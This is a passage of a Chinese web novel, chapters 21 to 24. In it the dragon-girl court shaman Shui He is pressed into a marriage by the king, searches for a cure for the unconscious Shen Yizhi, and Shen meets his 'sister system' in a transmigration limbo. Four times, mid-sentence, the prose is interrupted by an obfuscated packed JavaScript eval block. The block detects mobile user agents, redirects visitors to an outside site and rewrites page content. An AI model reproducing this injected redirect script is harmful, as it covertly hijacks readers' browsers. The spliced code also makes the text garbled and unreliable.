沈夷之的皮肤很白,是如白玉一般的透净,眉目疏淡,鼻高唇薄,他合着双眼,长而下垂的睫毛便在他的眼下投出淡淡的阴翳。 暖黄的烛光撒在沈夷之的脸上,他细碎蓬松的额发看起来毛茸茸的,鬼使神差地,水禾竟不由自主地伸手揉了揉,意料之中,有些扎手。 分明整日里对她服软,却偏偏生了一头□□扎手的发质。 水禾扯了扯嘴角,待回过神来时才意识到自己是在学着沈夷之的样子笑,看着沈夷之安然的面容,水禾忽然想到,她似乎有些笨,这么多年却连最简单的笑都学不会。 屋内暖融融的火炉时不时发出两声清脆的噼啪声,如爆竹声般,为寂寥的屋内平添了几分人气,水禾静坐着,不知是何时开始意识变得朦胧,也不知是何时伏在沈夷之床边睡去。 石门村蛇妖已除,容国君王龙颜大悦,郡泽召水禾入宫。 宋暮已经的身体已经恢复如初,即便是像往常一般骑马也已无碍,入宫那日,宋暮却生怕水禾说错话触怒了郡泽,偏要请旨与她一同前往。 一如每日上朝那般,水禾时隔多日再次坐上尖酸刻薄的小太监赶的马车,竟倏地感到有些不自在,所幸路上有宋暮陪着她。 马车是郡泽新赏赐的,比水禾以前坐的那辆宽敞奢华了许多,即便是水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水禾心中暗暗记下年节,想着回府后她也要将国巫府上下装点一番,这是她在容国度过的第一个年节,须得好好重视。 步入富丽堂皇的大殿,少年天子郡泽正坐在王位之上,手执一卷书简看得痴迷。 “臣,水禾。” “臣,宋暮。” “拜见王上——” 郡泽闻声抬起头来,他只是轻浅地笑着,眼中含着雾,像是映着迷蒙的山水。 “两位爱卿快起身,你们除妖兽有功,本王理应嘉赏,说罢,想要什么赏赐?”开门见山,直奔主题。 水禾记挂着沈夷之的伤,开口就道:“臣想要世间最珍奇的灵药。” 郡泽挑眉:“国巫受伤了?” 怕水禾多说多错,再把与这件事毫无干系的蜀南沈氏牵扯进来,宋暮先水禾一步道:“臣与国巫大人在石门村除妖时,不甚受了伤。” 21. 第 21 章 郡泽闻言放下手中的书简,他微微笑起来,视线在水禾和宋暮之间流转。 “那这么说,国巫是为宋太史求取的灵药?” 水禾顿时瞪大双眼,她分明是为沈夷之求药,关宋暮什么事。水禾张了张嘴正要辩驳,却见宋暮忽地上前一步挡在她的身前。 “国巫大人兰质薰心,臣卧床期间国巫大人每日都送汤药来。”宋暮朝郡泽笑着作揖,又转过身来面对着水禾,在郡泽看不到的角度,宋暮冲水禾狡黠地眨眨眼。 “如今臣已痊愈,多谢国巫大人惦念,国巫大人还是为自己求些赏赐吧。” 有毛病吧这人。 水禾不懂宋暮这是怎么了,莫非是当时被疯娘那一撞砸坏了脑子?但水禾记得自己送宋暮上马车时仔细检查过,他浑身上下全是伤,唯有一颗脑袋连个划伤也不曾有过。 那这好端端地是往自己脸上贴的什么金? 郡泽并不知晓水禾的心思,他依旧风轻云淡地笑着,放下手中的书简从王座上站起。 原本正映在他脸上的烛光依旧将王座照得明亮,可没了暖黄的烛光,郡泽的脸上却像是染上一层淡淡的阴翳。 他的目光依旧在水禾身上打量,水禾的眉头渐渐拧起。 照清清山的规矩,若是另一只妖兽直勾勾地盯着你看,不是要求爱就是要打架,水禾不喜欢这个阴沉沉的王上,她自然不希望是前者。 郡泽仍一言不发地凝望着她,像是端详一件奇珍异宝似的,直看得水禾默默将藏在阔袖里的拳头攥地咯吱吱响。 水禾发誓,若是她转头时与王上的视线对上,她一定毫不犹豫地给上他一拳。 然而宋暮却像是知道了水禾心里的想法似的,他脚步一转,不动神色地挡住了郡泽若有所思的视线。 郡泽一顿,声音含着不常见的惊喜,“本王记得,国巫大人如今尚未婚配吧?” 水禾的脸当即由红转白。 她是否婚配与郡泽一点关系也没有,就像清清山的妖兽与容国的百姓,八竿子打不着。 难不成是郡泽兽性大发,想要选一个妖兽做王妃…… 不想不要紧,一想吓一跳,水禾的身子蓦地一抖,吓得几乎想要化成原型夺门而出。 她颤颤巍巍地抬起一只手臂,挡在官服阔袖之下的手上光华流转,雪青色的鳞片自水禾手背钻出,一片两片……而后却戛然而止。 是一旁的宋暮按住了水禾的手。 水禾瞪了他一眼,却见宋暮不紧不慢地朝她使了个眼色。 然而此时此刻的水禾只想说,大哥拜托有事直说,眼神提示什么的她是真的看不懂。 见水禾仍木讷地站在原地,宋暮便又捏了捏她的掌心,力度不轻也不重。 水禾这才反应过来,忙回应郡泽:“王上,臣如今二十有三,确实未曾婚配。” “那太史大人呢?”郡泽又问。 等等。 水禾猛地抬头。 ……她就知道郡泽嘴里没憋好话。 怔愣的神情只在宋暮脸上停留了一瞬,他微微颔首,回答郡泽:“臣乃护国妖兽,社稷一日不稳,臣便一日不成婚。” 水禾默默瞥了宋暮一眼,心道:宋暮不愧是在明争暗斗的朝堂之上摸爬滚打那么多年。 郡泽的脸色登时有些不太好看,本就沉郁的眉间像是布满阴云,诡谲可怖,像是下一瞬便会掀起狂风骤雨。 “是不能还是不想?” 郡泽咄咄逼人,听得水禾不住撇嘴,她竟不知人族的君王原来这么爱管旁人的家长里短。 上一刻水禾还在置身事外向宋暮投去怜悯的目光,然而下一刻,郡泽话音一转提及水禾,“国巫大人样貌秉性皆乃上上乘,与朝中权贵氏族也皆无牵扯,本王看与你正般配。” 水禾哑然,她忽而生出了一种强烈的欲望,想要一拳把郡泽攮进墙里,扣都扣不下来的那种。 她如今在蛟龙一族中不过是个刚成年不久的小丫头,为何到郡泽口中却变成了一个恨嫁的大龄女蛟。 宋暮自然也觉得不妥,他缓声提醒郡泽:“王上,臣是妖兽。” 经宋暮这么一提醒,水禾才倏地想起来,她现在的身份只是一个由清清山举荐的普通凡人,而并非宋暮的同族。 水禾讪讪地收回手背的鳞片,附和道:“是啊王上,臣与宋大人之间隔着无法跨越的鸿沟,怎么想也不可能是良配。” 见宋暮和水禾双双婉拒,郡泽却难得没有震怒,他缓步坐回到王座之上,睨着殿前的二人,语气淡漠且威严:“先王的羽侧妃也是妖兽,却深得先王荣宠,还曾诞下一子。” 先王的侧妃也是妖兽? 水禾半张着嘴沉默了好一会儿,郡泽口中说出的话太具有冲击力,以至于水禾一时大脑宕机。 宋暮闻言却蓦地跪伏下来,他诚惶诚恐,道:“臣绝非此意,只是国巫大人心思纯净,对臣好也只是出于对同僚的关怀,并非是恋慕臣。” 面对宋暮的解释,郡泽却只是表现出眉倦眼乏的样子,他唤来内臣,为他揉肩。 内臣带来的除了解乏的熏香,还有一纸圣旨。 宋暮眸色黯淡,默默地垂下眼睫,看郡泽提笔在拟旨,娟秀的字迹在圣旨上蔓延,木已成舟,而他却什么也改变不了。 圣旨怕是一早便备好的,至于水禾和宋暮今日是否前来,这张指婚圣旨都会如约而至。 “可王上……”水禾仍尝试挽留。 郡泽却倏地将手中的狼毫笔用力拍在桌案上,“啪”地一声,浓黑的墨在圣旨一端绽出一朵张扬的花。 水禾眉间染了愠色,正要提起裙摆冲到郡泽面前,却被一股无形的屏障挡在了层层石阶之下,水禾转头,将将好与宋暮失魂落魄的眼神对望。 是宋暮阻止了她。 “王上乏了,两位大人请回吧。”内臣尖细的嗓音在大殿内回荡。 “臣,告退。” 宋暮拱手行礼,却见水禾仍直愣愣地站在原地,她眼角上挑,尾端微微泛红,是要发怒的前兆,宋暮几乎是用尽全力才将水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924998|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾硬拽出了大殿。 一出大殿,水禾便愤愤地甩开宋暮的手,她向来不喜欢旁人毫无理由的触碰。 “他以为他是谁啊?乱点鸳鸯谱还要别人硬着头皮应下。” “他是王上,是容国的天。” 宋暮竖起一根手指抵在唇边,示意水禾噤声,眼下仍身处城墙之内,一颦一笑皆在宫人的视线里。 水禾怏怏地转身,径直向宫外走去,宋暮苦笑一声,紧跟在水禾身上亦步亦趋。 回国巫府的路上异常安静,入宫前长街两旁尚且有几个生意冷清的摊贩叫卖着,可出宫后,偌大的容国都城竟万籁俱寂。 大概是天气太冷,就连摊贩都回家去了罢。 水禾窝在马车一角,赌气似地不肯同宋暮说话,宋暮倒也乖顺地一言不发。 下了车撵,宋暮却仍跟在水禾身后,水禾厌烦得不行,前脚才迈进门槛就命令小厮把大门给关上,给宋暮吃了个实实在在的闭门羹。 穿过幽深的曲径与长长的廊坊,水禾正要推开门见到沉睡不醒的沈夷之。 却不料一阵暖风无端拂过,先水禾一步,“吱呀”一声推开了房门。 水禾烦躁地捏了捏眉心,她就知道拦不住宋暮那厮。 再次转头,温暖如春的房间里竟凭空出现了一个人影,正是方才被拒之门外的宋暮。 “宋大人偏要赖着不走,是没自己的家么?”水禾想到什么便说什么,全然不顾宋暮的感受。 谁知宋暮的唇边竟再次洋溢起淡淡的笑,他自顾自走到沈夷之床边,旁若无人地掀开了盖在沈夷之身上厚厚的被褥。 水禾一惊,质问他:“你做什么?” “我身为护国瑞兽,自然也有些本事在身上,且让我看看沈公子的伤势如何?” 听宋暮这么说,水禾才讪讪地收起手中已然凝起的灵力。 宋暮坐在床沿,耐心地为沈夷之把脉,又掀开沈夷之的衣衫细细端详他胸口的伤,水禾为避嫌,在宋暮掀开衣角的刹那便慌张地转过身去。 良久,却没有听到宋暮说一句话。 水禾扁扁嘴,心里却默默腹诽起宋暮的不是来。 老实说,水禾并不曾看出宋暮所说的有些本事是指什么,若是真的有些本事,当时也不该被疯娘一击命中后当场昏迷。 水禾这么想着,而后又摇头否认自己的想法。 司岳说,在背后讲人坏话,死后是要遭阎王爷拔舌头的,水禾一想起自己被拔了舌头嘴里血淋淋的样子,顿时缩了缩脖颈。 “奇怪,沈公子的脉搏沉稳有力,除了胸口的伤外也并无大碍,却为何难以苏醒?” 水禾说:“你问我我问谁?” 宋暮却并不怪水禾的无礼,他沉默地看着水禾的双眼,像是看着一个毫无生气的物品。 忽而,他一翻手,手掌心中赫然出现一颗通体雪白的药丸,那药丸泛着淡淡的光泽,光是看上去便能知晓必定是极其珍贵的灵丹妙药。 水禾双眼放光,一伸手就要去抢。 22. 第 22 章 “有这种好东西不早拿出来?”水禾愤而跺脚。 宋暮一个闪身躲过向他径直扑来的水禾。 “这不是救人的药,而是害人的,”宋暮发出一声轻笑,他垂下眼眸,定定地凝视着手中那颗雪白的丹药,“沈公子的伤口混杂着蛇毒与多种妖兽的毒素,依我看,最适合以毒攻毒。” 水禾伸向那颗丹药的手忽地一顿,她抬头望向宋暮,眼中满是狐疑。 以毒攻毒本就险之又险,沈夷之是蜀南沈氏未来的家主,况且又对水禾有救命之恩,水禾绕过宋暮挡在床前,说什么也不肯让宋暮给沈夷之喂药。 宋暮却只静静地站在水禾面前,立如芝兰玉树,笑如朗月入怀。 早在与宋暮朝堂初见时,水禾便觉得宋暮的笑有种莫名的怪异感,如今与他隔着一个火盆的距离,水禾才发觉宋暮的笑意不及眼底。 宋暮往前一步,几乎是在质问水禾:“沈夷之是妖兽对不对?” 一双杏眼陡然瞪大,水禾不解地望向宋暮,“你胡说什么?” 莫非是方才王上给他们二人指婚的事对宋暮刺激太大,他一时气昏了头,这才说出一些不着边际的话? 水禾默默攥紧了拳头,她想,只要宋暮胆敢强行上前给沈夷之喂药,她不介意对梅山宗五长老大打出手。 “如若不是,国巫大人手上永巍舅舅亲手打造的紫玉镯为何会无故解开?” 水禾哑口无言。 老实说,直到宋暮今日当面问起这件事,水禾的脑子里才想起似乎是有这么一桩事,当时在石门村事出突然,连她也不知道紫玉镯为何突然之间解除了禁锢。 水禾还以为是永巍良心发现,不忍心看她因为自己的破镯子而命丧黄泉。 那镯子的碎片七零八落地散尽白茫茫的雪里,时至今日,又一连下了好几场的雪,早就寻不着踪影了。 “你问我,我还想问永巍老头儿呢。” “老头”二字脱口而出,宋暮一挑眉,被烛火光映得泛红的脸陡然一变。 才在朝中受了天大的委屈,只要是看到宋暮那张脸,水禾心里便忽地窜上一股无名火,她懒得再和宋暮闲扯,招了招手就唤来侍女绯儿送客。 绯儿在宋暮面前站定,腰板挺得笔直,缓声道:“宋大人,请。” 水禾微微颔首,只道不愧是她亲自挑选的侍女。 “这药我且留在这里,喂或不喂皆由大人定夺。”话音才落,宋暮便微微笑着上前一步,拿起水禾的一只手,将毒药放进她的手心。 他随绯儿往大门去,步子轻得宛如一阵清风。 水禾攥紧手心,药丸触手生温,她甩了甩手,正想着若是将药丸投入火盆里是否会烧出含有毒性的热气。 思来想去,却还是选择了将那药丸暂时收下。 又在沈夷之床边守了两日,却迟迟不见他苏醒,水禾这边急,国巫府对面的沈府却比她更急。 眼看就到年节,沈府老夫人想好孙儿想得紧,知道离家出走的沈夷之就在沈府对面,一天最少都要派五六个侍女小厮前来请公子回府。 原先水禾还有精力一人赏一拳打回沈府去,大半月过去,沈府上下所有的侍女小厮都顶上了一个青眼圈。 再后来,不知是先从谁人口中传出当朝国巫蓄意绑架沈府少爷,闹得满城风雨,沸沸扬扬。 水禾每日下了朝便被一群多嘴的大臣指指点点,忍无可忍,水禾当即给了为首的大臣一脚,自那以后水禾小半月都没再见过他,向宋暮打听才知道是请了病假在家养伤。 近来天朗气清,国巫府扫成堆的雪隐隐地开始有融化的迹象,青石地砖总是湿漉漉。 水禾吃罢晌午饭便又如往常一样守在沈夷之床边,火炉内添了新炭,炉上温着汤药,不一会儿,汤药罐内便咕嘟嘟地冒泡,热气顶起盖子,又是一阵清脆的响声。 水禾揉了揉酸涩的双眼,放下手中的书简就要去取药罐。 纤纤玉指才触碰到药罐,灼手的热度顷刻间便将水禾的手指烫伤,因受到刺激,水禾的耳后倏地显出一层鳞片,散发出瑰丽的光芒。 没了紫玉镯,水禾的灵力便愈发难以控制了。 有时睡着觉蛟尾便会莫名钻出,将水禾的被褥掀飞在地,在寒冷的冬夜里水禾被冻得瑟瑟发抖;有时只一拧眉鳞片便会无故显现,若是被衣衫遮住的位置还好掩藏,若是大庭广众之下鳞片在显眼的位置显现,水禾只有落荒而逃。 水禾发出一声轻叹,面无表情地用灵力将手指的烫伤消除。 端着汤药移到床边,浓黑的药汁散发出扑鼻的药味,算不上好闻。 水禾小心翼翼地将沈夷之扶坐起来,端起药碗凑近他的唇边,独属于男人身上好闻的草木味道瞬间将水禾包围。 药汁顺着沈夷之的唇角流下,一路沿着精致的锁骨,滑入薄薄的中衣。 沈夷之已经到了无法自主喝药的地步。 他的面颊干瘦到凹陷,眼下映着淡淡的青黑,交叠放在胸口的双手手指细得宛如一截枯枝,似乎一用力,便能将其折断。 水禾眉头紧锁,心头某处忽地涌上一股难以言喻的酸涩。 不能再继续拖下去了。 “来人,备马!” 水禾干脆利落地翻身上马,临行之前好生交代绯儿一定要好好照顾沈夷之,切勿让任何人知道她今日离城。 马鞭扬起,纤纤面纱随风翩然。 水禾离城的时间不宜过久,才出城门,行至人烟罕至的地方,水禾将马匹栓好,化出半妖化的形态便直冲云霄。 时隔多日再次来到石门村,却像是斗转星移,恍如隔世。 石门村处处透露着破败,皑皑白雪化去,断壁残垣显现出它真正的样子,武威湖水质浑浊,几乎看不出有一丝活物存在的迹象。 水禾轻车熟路地来到一户人家门外,尽管房屋陈旧,但大门确是用杉木新做的。 “小蓉,疯娘,是我!” 不久之后,伴随着某种生物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924999|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地面滑行的细微声响,木门从内“咔嗒”一声被打开,门框内,赫然站在一身粗布麻衣的守村人小蓉。 守村人不孚众望,真正成为了独自守石门村的人。 “进来吧。”小蓉声音懒懒的,水禾往她下半身看去,却见原本那条雪白的蛇尾又变回了一双人腿。 才进院子,扑鼻的腥臭直往水禾鼻子里钻,她一面拧眉一面捏紧了鼻子,却不料耳后又有鳞片现出。 但在同为妖兽的小蓉面前,水禾没什么好遮掩的。 “虽说冬季尸体腐烂得慢,但囤放那么多动物,吃又吃不完,放坏了多可惜。” 身为过来人,水禾对小蓉囤粮食的行为着实不太理解,要她说,吃是这世间最讲究的一件事,即便是吃生食,也应是最新鲜的最好吃才是。 小蓉不理会水禾,兀自拉开灶房的门,血液黏答答的声音自门后响起,随着门被打开,动物尸体堆积而成的小山顷刻倒塌,一齐涌向门外。 小蓉轻叹:“疯娘愈发严重了,这几日有时连我也认不清,却每日都雷打不动地出去捕猎。” 水禾微微颔首,她取下脸上的面纱,紧紧攥在手心里,一遍又一遍地揉皱。 她知道小蓉想说什么。 疯娘把小蓉当做她自己的孩子,即便是化作妖兽丧失了所有的理智,却还是对自己的孩子念念不忘,之所以每日都要出去捕猎,是怕小蓉在粮食短缺的冬日挨饿。 她们都是被抛弃的人,知道挨饿的滋味实在不好受。 那日在石门村斗了一场过后,水禾默默将小蓉和疯娘身上的伤用灵力医好,她冷冷地撂下一句好自为之,而后便扬长而去。 水禾向来如此,她知道自己强大,不需要依附于任何人,因此便对一切不关心,不在意。 可小蓉和疯娘身上的谜团却莫名地令水禾感到心悸,并非是对未知事物的惧怕,而一种无端自心底油然而生的惊慌。 回到国巫府后水禾曾背着众人独自回到过石门村一次,是教小蓉和疯娘控制那份属于妖兽的灵力。 水禾说不出帮她们的原因,只把那当做是对疯娘的同情,她从未见过自己的母亲,印象里是司岳亲手将她拉扯大,看到疯娘如此对待小蓉,水禾便动了恻隐之心。 看着小蓉愁云密布的面容,虽觉得有些不合时宜,但一想到沈夷之命不久矣,水禾便什么都顾不上了。 她问小蓉:“之前你想置我于死地时,可曾做了别的什么?” “你觉得我能做什么?” 水禾拧眉,她伸出手指轻轻叩击桌案,示意小蓉不要糊弄她,“沈夷之已经昏迷一个月了。” “沈夷之?就是当时为你挡下我那一爪的人吧。”小蓉偏头想了想,印象中她确实在那个叫沈夷之的家伙后心口徒手开了一个大洞。 但沈夷之身边有水禾的存在,想必治愈那样的伤对她而言并非难事。 “当时我并未用出全力,那人伤得当真那么严重,连你也束手无策?” 23. 第 23 章 替水禾接下那一爪后,沈夷之便被困在一隅不可视物的黑暗中。 他曾尝试呼喊水禾的名字,可直到嗓音喑哑也无人回应。 他又试着呼唤亲妹系统沈翩翩,“翩翩,我现在究竟是在什么地方?” 良久,脑子里传出沈翩翩懒懒的轻哼。 【大难临头,我们的沈公子倒是才想起来我这个亲妹啊。】 沈夷之讪讪地笑,一面试探着在漆黑的空间内往前迈步走。老实说,如果不是沈夷之还能清楚地看到自己的双脚和衣衫下摆,只怕他都要怀疑自己是突然之间双目失明了。 这里与沈夷之穿书后所到过的所有地方都不同,与其说这里是一个地点,倒不如说是一个诡异的空间。 沈夷之独自待在黑暗之中,曾不止一次地摸索着在漆黑中前行,可奇怪的是,这里似乎永远也走不到尽头。 沈翩翩看出沈夷之的疑惑,她清了清嗓子,为沈夷之解答:【这里是穿书中转站,因为你没有完成苟命任务提前GG了,所以系统高层决定把你再安排进别的小说世界。】 GG了!? 怎么可能…… 沈夷之面色惨白,他回想起当时的场景,是他推开了水禾,那蛇妖的利爪将他后心口捅了个对穿,他还没来得及感受到疼痛就光速领便当了。 存活时长甚至还不如小说原炮灰男配沈夷之。 “送我到别的小说世界里?” “没错。” 沈夷之呼吸一滞,他的双眼微微睁大,迟疑地问:“那‘化龙’小说世界的故事呢?” 【会有别的穿书者来代替你继续进行任务,这些天我们一直维系着你的生命体征,就是为了等待下一个穿书者。】 “也就是说……会有别的男人继续攻略水禾?” 听到沈夷之突如其来的提问,脑子里沈翩翩的声音从一本正经的语调蓦地拐了个弯,尾音高高扬起,满是对沈夷之提问的不可置信。 【哥,你不会攻略女主先把自己搭进去了吧。】 话音才落,原本正在虚无中漫无目的闲逛的沈夷之忽地身形一顿,他的耳尖泛起一抹不易察觉的绯红,语速也开始加快。 “我只是觉得,我辛辛苦苦攻略水禾那么久,新来的穿书者一来就捡现成的好感度,岂不是太便宜他了!” 沈翩翩的手指在键盘上飞快跳动,随着一声清脆的击键声,她的脸前弹出一面屏幕,画面中水禾正坐在桌案边与小蓉攀谈,而她的头顶缓慢地浮现出一列虚拟数字。 【好感度:10.01】 尴尬的数字映入眼帘,沈翩翩的眼角难以抑制地抽动了两下。 如果沈翩翩没有记错的话,女主水禾貌似对所有角色都有最初始的10点好感度。 看沈夷之那副恨不得把新穿书者扒皮抽筋的样子,沈翩翩还以为自家老哥离攻略成功就差最后一步了,原来,他拼死拼活提升的好感度只有0.01。 【哥,要不算了吧,这个任务对于母胎单身的你来说过于困难了,咱再看看别的小说世界的任务……】 沈翩翩仍喋喋不休地说着,沈夷之的脸色却变了又变。 他母胎单身二十二年,却从未有过追求女生的经历。 步入青春期以后,沈夷之曾因为清雅俊逸的外表受到过女孩们的追捧,那时就连沈翩翩也不可避免地收到了数不清的要她转达的情书。 为了帮沈夷之解决麻烦,发小甚至放出沈夷之不近女色的谣言,效果显著,沈夷之对所有追求都不予回应的态度渐渐浇灭了所有女孩们的热情。 但或许只有沈夷之自己清楚,他之所以不敢尝试恋爱,并非不近女色,而是不知晓如何去回应他人的喜欢。 与其和在一起后让另一半的爱意石沉大海,倒不如从未开始过。 如今回想起来,沈夷之觉得他变成现在这样大概是因为与大多数人并不相同的经历。 兄妹二人的童年还算快乐,虽说家庭算不上大富大贵,但父母都竭尽全力给孩子最好的。 发生变故的那一年,沈夷之十岁,沈翩翩六岁。 彼时,沈父沈母带着孩子在外地做些小本生意,与一个自称同乡的人结识,沈父对他深信不疑,他却哄骗沈父将家里所有能变现的资产都拿去投资,生意破产,沈家一贫如洗,沈父一蹶不振,全家从高档小区搬迁到一个仅五十平米的小出租屋。 在一个就像是沈夷之穿书而来的那个寒冷冬夜,沈父在家人睡梦之中打开了煤气,狭小逼仄的空间里顷刻间充斥着绝望。 沈夷之醒来时,他和妹妹正分别躺在白色的病床上,抬头,是陌生的天花板;侧耳,是妹妹痛苦的呻吟。 母亲在病症监护室,而他们与父亲则已是天人永隔。 后来,母亲也没撑过那个湿冷的冬夜,彻底离开了懂事的儿子与乖巧的女儿。 母亲走的时候,还从未见过白茫茫的雪。 沈夷之和沈翩翩一起被送往福利院,可素未谋面的远亲家却突然提出要单独领养沈夷之,理由是膝下无子,且这辈子都不会有一个孩子。 已然懂事的沈夷之当然知道他们领养他的原因——他是男孩。 命运迫使沈夷之与家人依次分离。 临走的那天,沈翩翩的眼睛哭得肿成了核桃,她怀里还抱着母亲生前买给她的毛绒小熊,就是像是母亲生前常常抱着她那样。 半大的孩子拉住沈夷之的手,泪水滑过脸颊钻进衣领,沈翩翩却一句“别走”也没说出口,因为她知道,哥哥是去过好日子了,她舍不得,但会默默祝福哥哥。 沈夷之走的那天,天气异常湿冷,打开车门的瞬间,隐隐约约有一滴雨珠落在沈夷之鼻尖,不知是何缘由,自此沈夷之鼻尖落雨滴的位置便长出一颗淡淡的小痣。 向来坚信唯物主义的沈夷之,为这颗痣第一次动摇,那是母亲给予他的轻轻一吻。 养父养母将沈夷之视如己出,耗费时间,金钱和精力将沈夷之培养成他们眼里的接班人,可沈夷之却总觉得,他似乎从未真正融入这个家庭。 他们对沈夷之口口声声的爱,在养母意外检查出怀孕的那天不攻自破。 任凭沈夷之再优秀,再费尽心思讨好,也抵不过他们的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925000|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体里流淌着不同的血液。 沈夷之自觉淡出他们的世界。 高考结束后,沈夷之将沈翩翩接出福利院,他四处兼职,像一台不知疲倦的机器,他努力赚钱供养自己和妹妹上学,也努力带着妹妹走出过往的阴霾。 生活并非一帆风顺,有人对沈夷之的外貌青睐有加,就有人对他的出众白眼相待。 由于兼职打工,沈夷之总是回宿舍很晚,渐渐有不怀好意的室友传出沈夷之出卖□□被包养的谣言,沈夷之一气之下搬出宿舍,在校外租了个便宜的两室一厅。 沈翩翩独自在福利院的几年,养成了冷漠且孤僻的性子,为了帮助她恢复正常社交,沈夷之学着去逗她笑,尽管有时会招来妹妹随机投掷的枕头和玩偶,但沈夷之总觉得,沈翩翩在变好,他们的家也在变好。 …… 思绪被脑子里的机械声音打断,沈夷之回过神,抬眼望向前方虚无的黑暗。 【哥,你到底选好了没?】 沈夷之一愣,偏头看向身侧清晰的屏幕,满满一面全是各种小说的封面和名称,沈夷之瞥了一眼右下角,足足有一千多部小说可供选择。 拥有选择困难症的沈夷之顿时一个头两个大。 老实说,沈夷之先前并不知道自家妹妹每天窝在房间里究竟是在做什么网上兼职工作,他怕沈翩翩上当受骗,多次追问之下才被告知,她是在网络上写小说的小扑街。 做个网络小说家,发散一下过剩的想象力没什么不好,沈夷之当时是这么想的。 可直到沈夷之穿书后遇到亲妹系统时,沈翩翩才不情不愿地把真相告诉他。 原来,沈翩翩在做网络小说家的同时,还在充当着某个不知名组织的基层工作人员,而这个神秘组织,就是把现实世界的人送往一个个虚拟小说世界中维护主角人设不被崩坏。 简言之,沈夷之是沈翩翩拿来冲业务的工具人。 “我到底什么时候才能回去?”沈夷之拒不回答沈翩翩的话。 【好说好说,哥你再选择一个小说世界,稳住主角人设就好啦~】 沈翩翩怕自己老哥半路撂挑子不干,强忍住内心翻涌的恶心冲沈夷之撒起娇来。 沈夷之挑眉,显然,他不吃沈翩翩这一套,“要是再穿到一个乱七八糟的世界,又碰到个变态杀人魔怎么办。” 【你就再信妹妹我一回!】沈翩翩自告奋勇,作势就要帮沈夷之挑选小说。 “打住!”沈夷之别过脸,闷声道:“我向来不是半途而废的人,不把这个世界通关,我以后也不会再帮你冲什么业绩了。” 沈翩翩脸色一白,光洁的额头渗出细密的汗珠,她是沈夷之的妹妹,自然知道沈夷之说一不二的性格。 她沉默了许久,最终还是艰难地点了点头。 【你的□□还维持着生命体征,想再回去轻而易举,但你已经GG过一回,重生后原本的小说剧情会被打乱,就算这本‘化龙’是我本人写的,但后续的剧情会脱离我的掌控。】 沈翩翩没了剧透的能力,沈夷之若是想要继续苟命任务,将会更加凶险。 24. 第 24 章 没有攻略的闯关冒险游戏,对于游戏菜鸟沈夷之来说,难如登天。 可沈夷之却满不在乎地笑了笑,他一手挥散身侧的虚拟屏幕,目光灼灼地望着空无一物的前方,“我总觉得,通关之后,会有特殊大礼包。” 沈翩翩闻言翻了记白眼,什么特殊大礼包,她当牛做马甚至不惜拉自己亲哥来冲业绩,还不是为了可观的薪水加提成,对于她这种底层小员工,能被老板记住名字就不错了,哪敢奢望大礼包。 沈夷之心意已决,可沈翩翩却仍不放心。 虽说之前由沈翩翩做系统引导的几个穿书者已经成功离开了小说世界,但现在站在她面前的毕竟是自己亲哥,沈翩翩不敢也不能出任何差错。 沈翩翩仍旧不死心,又问了沈夷之一遍:【你确定要继续待在‘化龙’的世界里?】 沈夷之弯唇点头。 【剧情走向不再受我控制,主线苟命任务会难上加难,还会出现许多莫名其妙的支线任务,你再好好想想……】 面对沈翩翩的担忧,沈夷之却不以为意。 初次穿书时沈翩翩先是说他的任务是苟到大结局,后面又转为攻略女主,现在却又告诉他真正的任务其实是维护主角人设不崩坏。 沈夷之觉得沈翩翩嘴里没一句实话,哪怕是现在沈翩翩表现出慌乱的样子也无法动摇沈夷之的想法。 看着沈夷之不为所动的样子,沈翩翩沉默了一会儿,良久良久,沈夷之的脑子里传出一声无奈的轻叹。 【随便你吧,我不管了。】沈翩翩赌气似地说完却又顿了顿,慢吞吞地补充道:【但你切记,女主水禾的好感度提升到一定程度就要立即停手。】 “啊?” 哪有攻略只攻略到一半的道理,沈夷之闻所未闻。 沈夷之张了张嘴正要向沈翩翩发问,双耳却倏地响起刺耳的嗡鸣声,强烈的眩晕感猝不及防席卷而来,幽暗的空间内乍起一束强光。 灵魂仿佛被抽离身体,恍惚之间,沈夷之听到耳边传来母亲的温声软语。 睁开双眼,熟悉的房屋内饰映入眼帘,沈夷之试着转头,却发觉浑身疼痛难忍,动弹不得,唯有一双眼睛能自如转动。 